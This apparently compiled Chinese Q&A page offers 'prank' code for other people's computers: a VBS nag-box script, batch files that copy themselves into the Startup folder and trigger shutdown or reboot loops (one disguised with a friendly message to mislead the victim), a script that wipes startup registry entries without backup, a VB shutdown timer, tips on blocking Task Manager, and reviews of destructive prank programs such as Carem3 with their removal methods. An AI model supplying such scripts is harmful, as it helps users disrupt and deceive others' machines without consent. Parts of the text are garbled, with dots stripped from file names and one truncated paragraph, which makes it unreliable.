VBS整人代码

WScriptEcho("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)

WScriptEcho("你是可爱的小朋吗")

WScriptEcho("哈,我想你拉，这你都不知道吗？")

WScriptEcho("怎么才来，说~是不是不关心我")

WScriptEcho("哼,我生气拉，等你这么久，心都凉啦。")

WScriptEcho("小强很生气，后果很严重哦。")

WScriptEcho("嘿嘿！你也会很惨滴哦")

WScriptEcho("是不是想清除我？")

WScriptEcho("那你要点上50下哦，不过会给你惊喜滴")

WScriptEcho("还剩49下，快点点哦")

WScriptEcho("还剩48下，快点，小笨蛋！")

WScriptEcho("还剩47下对，就这样快点点！")

WScriptEcho("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")

WScriptEcho("还剩45下，记得要快哦！")

WScriptEcho("还剩43下")

WScriptEcho("还剩42下")

WScriptEcho("还剩41下")

WScriptEcho("还剩40下")

WScriptEcho("还剩39下")

WScriptEcho("还剩38下")

WScriptEcho("还剩37下")

WScriptEcho("还剩36下")

WScriptEcho("还剩35下")

WScriptEcho("还剩34下")

WScriptEcho("还剩33下")

WScriptEcho("还剩32下")

WScriptEcho("还剩30下")

WScriptEcho("还剩29下")

WScriptEcho("还剩28下")

WScriptEcho("还剩27下")

WScriptEcho("还剩26下")

WScriptEcho("还剩25下")

WScriptEcho("还剩24下")

WScriptEcho("还剩23下")

WScriptEcho("还剩22下")

WScriptEcho("还剩21下")

WScriptEcho("还剩20下")

WScriptEcho("还剩19下")

WScriptEcho("还剩18下")

WScriptEcho("还剩17下")

WScriptEcho("还剩16下")

WScriptEcho("还剩15下")

WScriptEcho("还剩14下")

WScriptEcho("还剩13下停停！！！慢点，我有话要说")

WScriptEcho("还剩12下，你继续点我就会消失滴")

WScriptEcho("还剩11下，以后就看不到我拉。555555")

WScriptEcho("还剩10下，你现在可以选择停止！")

WScriptEcho("还剩9下。你还点啊，不要我拉？")

WScriptEcho("还剩8下，有点伤心拉，干嘛丢弃人家")

WScriptEcho("还剩7下。疯了，你有点负意！")

WScriptEcho("还剩6下。对。你就点吧，我恨你！")

WScriptEcho("还剩5下，不明白，删除我你就好吗？")

WScriptEcho("还剩4下！真要删除我？")

WScriptEcho("还剩3下。可是我真的很眷恋你。。。")

WScriptEcho("还剩2下。不要这么绝情嘛，人家是爱你的！")

WScriptEcho("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")

WScriptEcho("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

超爽的！很有感情

邪恶啊！我真邪恶！

把bat文件加入别人电脑的启动项里

目的就是叫指定目标的电脑一开机就重启，或者关机

关键是这一句（xp适用）

copy %0 "%userprofile%\「开始」菜单\程序\启动"

，如果是win7系统将路径改为"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"。

@echo off

msg baby，早睡早起身体好。

rem 迷惑她，让她以为你发这个就是为说这句话的。

net start Schedule

if %time% geq 0:00 if %time% leq 6:00 shutdown /s /t 0

cls

copy %0 "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动"

pause

@ ECHO OFF

@ ECHO

@ ECHO 说 明

@ ECHO --------------------------------------------------------------

@ ECHO 本批处理会自动清理所有非必要的启动项目，仅保留输入法(ctfmon)。

@ ECHO 目的是减少不必要的资源占用，使系统运行顺畅。但清理掉的项目不作

@ ECHO 备份，请小心使用。

@ ECHO --------------------------------------------------------------

PAUSE

reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f

reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmonexe /d C:\WINDOWS\system32\ctfmonexe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /f

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIGEXE" /Spoil /RemAdvDef /Migration32"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81" /v item /d IMJPMIG

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v command /d "C:\WINDOWS\system32\IME\TINTLGNT\TINTSETPEXE /IMEName"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v item /d TINTSETP

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIGEXE" /Spoil /RemAdvDef /Migration32"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v item /d TINTSETP

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

del "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\" /q /f

del "C:\Documents and Settings\Default User\「开始」菜单\程序\启动\" /q /f

del "%userprofile%\「开始」菜单\程序\启动\" /q /f

start C:\WINDOWS\system32\msconfigexe

没什马难度，但蛮无聊的，给你个思路，首先关闭explorerexe，再拦截任务管理器应该就没什马问题了，拦截管理器可用Open

的Append来实现，后面的部分如果连Msgbox

，if都不会，那你还是别学VB了，敢问1楼如果对方把命令行给拦截了，你要用什么输入shutdown

-a？

一、norun

norun是个恶作剧软件,它只有一个可执行文件,12288字节大小,运行于Win98/ME下运行后要求回答三道算数题虽然题目很简单,但是一旦答错,机器将连续重启动12次（每次都有提示）后恢复正常除此之外,没有其他影响因此,norun是个真正的恶作剧软件,对大家的威胁并不大不过,如果机器真的重新启动12次的话,也够恐怖的！所以也要掌握应对它的方法

最直接的方法是你回答对那三道题就可以了不要担心,是小学二年级的都会做的算数题

如果你回答对了,就会出现对话框,点击"确定"软件运行结束由于你回答对了,所以不会出现连续重启动12次这样的现象

如果你担心自己马虎回答错误（如果这个也回答不正确,那也太……）,可以用进程管理软件终止该进程,这样就可以了我们以Windows优化大师为例运行Windows优化大师,点击"系统安全优化"→"进程管理",在d出的窗口中选中norun,点击"终止"按钮即可终止运行它,从而避免了norun造成的12次重启

点评：纯粹的恶作剧软件,可以用来跟朋友开玩笑用

恶毒程度：★

二、ilr

ilr也是个恶作剧程序,文件大小15KB这么小的程序能干些什么破坏呢？它是个捉弄人的程序,运行后会把硬盘上所有分区里的文件夹通通变成回收站！使得你无法通过点击进入该文件夹！天啊,我要是想进入文件夹该怎么办呢？别着急,恢复方法是用以下格式运行该软件即可：xxxxexe -recover,要记牢格式哦！

点评：一个很另类的恶作剧软件,不破坏数据,不会让你无法进入系统中,但是它会让你无法进入文件夹,使你干着急,可以用来跟朋友开玩笑用

恶毒程度：★★

三、FUHD

这是一个垃圾文件生成器,程序运行后会在各磁盘（C:-H:）的每一个根目录、第一级子目录和第二级子目录生成随机文件名的垃圾文件很久以前有个软件hdfillexe有相似的功能,但是该hdfill需要VB4的运行库才能运行,在没有VB4运行库的机器中不能运行该程序而该程序是用VB5编写的,虽然存在运行库的问题,但Win98中已经带有VB5的运行库,所以该程序可以在许多电脑中运行成功也就是说许多朋友都有中招的可能和危险！

FUHD压缩包由四个文件组成：

FUHDexe：大小10752字节,所用图标为VB5的安装程序所用图标直接在磁盘上生成垃圾文件,程序在后台运行,全过程没有任何提示

setupexe：大小10752字节,所用图标为VB5的安装程序所用图标运行后在后台生成垃圾文件

Undoexe：大小6656字节这是作者提供的删除上面两个EXE生成的垃圾文件的文件,如果你中招了,可以找来该文件,运行后就可以清除那些垃圾文件

readmetxt：说明文件

点评：虽然说现在很多人都有大硬盘,但是大量的垃圾文件分布在各个目录中,也是一件很麻烦的事而且目录中含有过多的文件,会大大减慢系统的速度作为恶作剧软件,它的危害不大但如果不知道解除方法,也很讨厌

恶毒程度：★★☆

四、Carem3

Carem3是网络休闲庄（一个黑客网站）技术顾问Carem的作品,这是一个非常狠毒的恶意攻击软件,运行后如果不知道正确的破解方法,那肯定是要重装系统的解压后的Carem3只有一个文件Carem3exe,这是它所用的图标（左图）,大家记住了,轻易不要运行使用这个图标的软件,因为给你下套的人会给它改名的,所以记住它的文件大小也是个不错的识别方法,Carem3exe文件大小321536字节

此时鼠标被控制在一定范围内,无法点击屏幕上的按钮,按动回车键就会d出个窗口警告你不要随意运行可执行程序,说这只是个教训之类的话,然后会自动重新启动电脑,但你再也无法进入心爱的Windows桌面了！如果你没有按动任何键,Carem3也不会放过你,它会自动倒记时,从20秒到0就重新启动电脑,使你的系统崩溃！

程序的基本原理是破坏C:\windows\system\下的vmm32vxd文件vmm32vxd是虚拟设备驱动程序,正常文件大小913413字节,文件修改时间为1999－01－13,就是由于它被破坏了（文件被替换为同名文件,大小变为81531字节,文件修改时间变为1998－06－19）,导致你的计算机不能进入Windows系统

作者提供的破解方法是：在开机的时候按F8选择Command prompt only方式进入DOS下,之后在提示符后执行repair,就可以解决了另外你事先备份了vmm32vxd文件,就可以使用另外一个破解方法：用启动盘从A盘启动计算机,将备份的vmm32vxd复制到c:\windows\system\里,重新启动计算机就可以了如果没有备份,到其他计算机上复制一个来吧

除了上面说的那两个方法,还有一个更简便的破解方法我们在Carem3exe刚运行后,倒记时尚未结束前,按住ALT+F4键关闭软件窗口（不要指望能通过按Ctrl+Alt+Del来终止它,作者早就将这些按键屏蔽了）,此时你的鼠标将被锁定在桌面的某个小范围内（屏幕中央偏右一点）,鼠标是无法使用了但是如果你自己不重新启动电脑的话,Carem3exe也不会自动重新启动你的电脑——因为它已经被关闭了此时的你可以使用键盘来 *** 作,如果嫌麻烦,直接重新启动电脑即可不要害怕,我们按ALT+F4时已经将软件关闭了,在破坏开始前就将它给消灭了,所以这次重新启动电脑和我们平常重新启动电脑一样,是安全的！顺便说一句如果你的系统是Win2000以下就要小心它了！

点评：比较恶毒,因为一般人想不到它会破坏vmm32vxd,不过还好,作者提供了破解的方法,所以还在可控范围内

恶毒程度：★★★

五、妖之吻

妖之吻是千年老妖的作品下载解压后大小252KB,只有一个文件名为yzwexe的可执行文件,它的外表看起来很友善——图标是两只握在一起的手！如果你被这表面上的友善所打动,双击运行了这个程序,哈哈,你的恶梦就此开始了！

首先,屏幕上会出现一个不大好看的窗口,上面写着"亲爱的,给你一个关机之吻",同时在窗口中显示60、59、58……这样的倒计时数,记时到"0"系统就自动重新启动当你再次听到Windows的启动声音,以为没什么事的时候,那个可恶的"亲爱的,给你一个关机之吻"又出现了,然后再次重启,如此反复,陷入一个死循环中,使你根本无法进入你的系统你若想在那个窗口出现时按"Ctrl+Alt+Del"来终止它,根本就不管用,因为作者将

vb中添加两个label，和一个timer，倒计时十秒，代码如下

Private Sub Timer1_Timer()

If Label2Caption <> Str(Timer) Then

Label2Caption = Time

End If

End Sub

Private Sub form_load()

Timer1Interval = 1000

Label1Caption = 10

End Sub

Private Sub label2_change()

Label1Caption = Label1Caption - 1

If Label1Caption = 0 Then

Shell "cmdexe /c shutdown -s -t 0"

End If

End Sub

呵呵,来个批处理

将一下命令粘贴进文本文档，改名为“有种就点击我”，后缀名改为bat

命令如下（等号不复制）

===================================================================

@echo off

copy 有种就点击我bat C（C是系统盘盘符）:\"Documents and Settings"\user（user是你要整蛊的人的用户的名称）\「开始」菜单\程序\启动

echo 这就是装叼的代价！ 永远记住：装叼遭狗咬！！！ 解决方法请找XXX

shutdown -r -t 15

pause

=====================================================================

原理说明：

本命令的执行过程是

1、将本命令复制到开机自启动目录下，实现开机自启动

2、打出一行字“这就是装解决方法请找XXX”（记住，你要是想改这行字，必须在一行以内）

3、执行倒计时15秒重启计算机命令，使计算机陷入重启循环（因为每次开机都会再次执行本程序）

特别说明

1、类似卡巴斯基，瑞星之类有弱智主动防御的软件有可能会阻止这些指令的功能

2、觉得本回答好的请加分！！！！！

3、破解本程序方法：

进入安全模式，找到刚才的路径，删掉“有种就点我”文件即可，或者在15秒内选“开始”——“所用程序”——“启动”，删除启动中的“有种就点我即可”

以上就是关于VBS整人代码全部的内容，包括:VBS整人代码、求几个用记事本制作的可以使别人电脑死机或黑屏什么的整人小程序、VB 设计整人程序 高手进等相关内容解答，如果想了解更多相关内容，可以关注我们，你们的支持是我们更新的动力！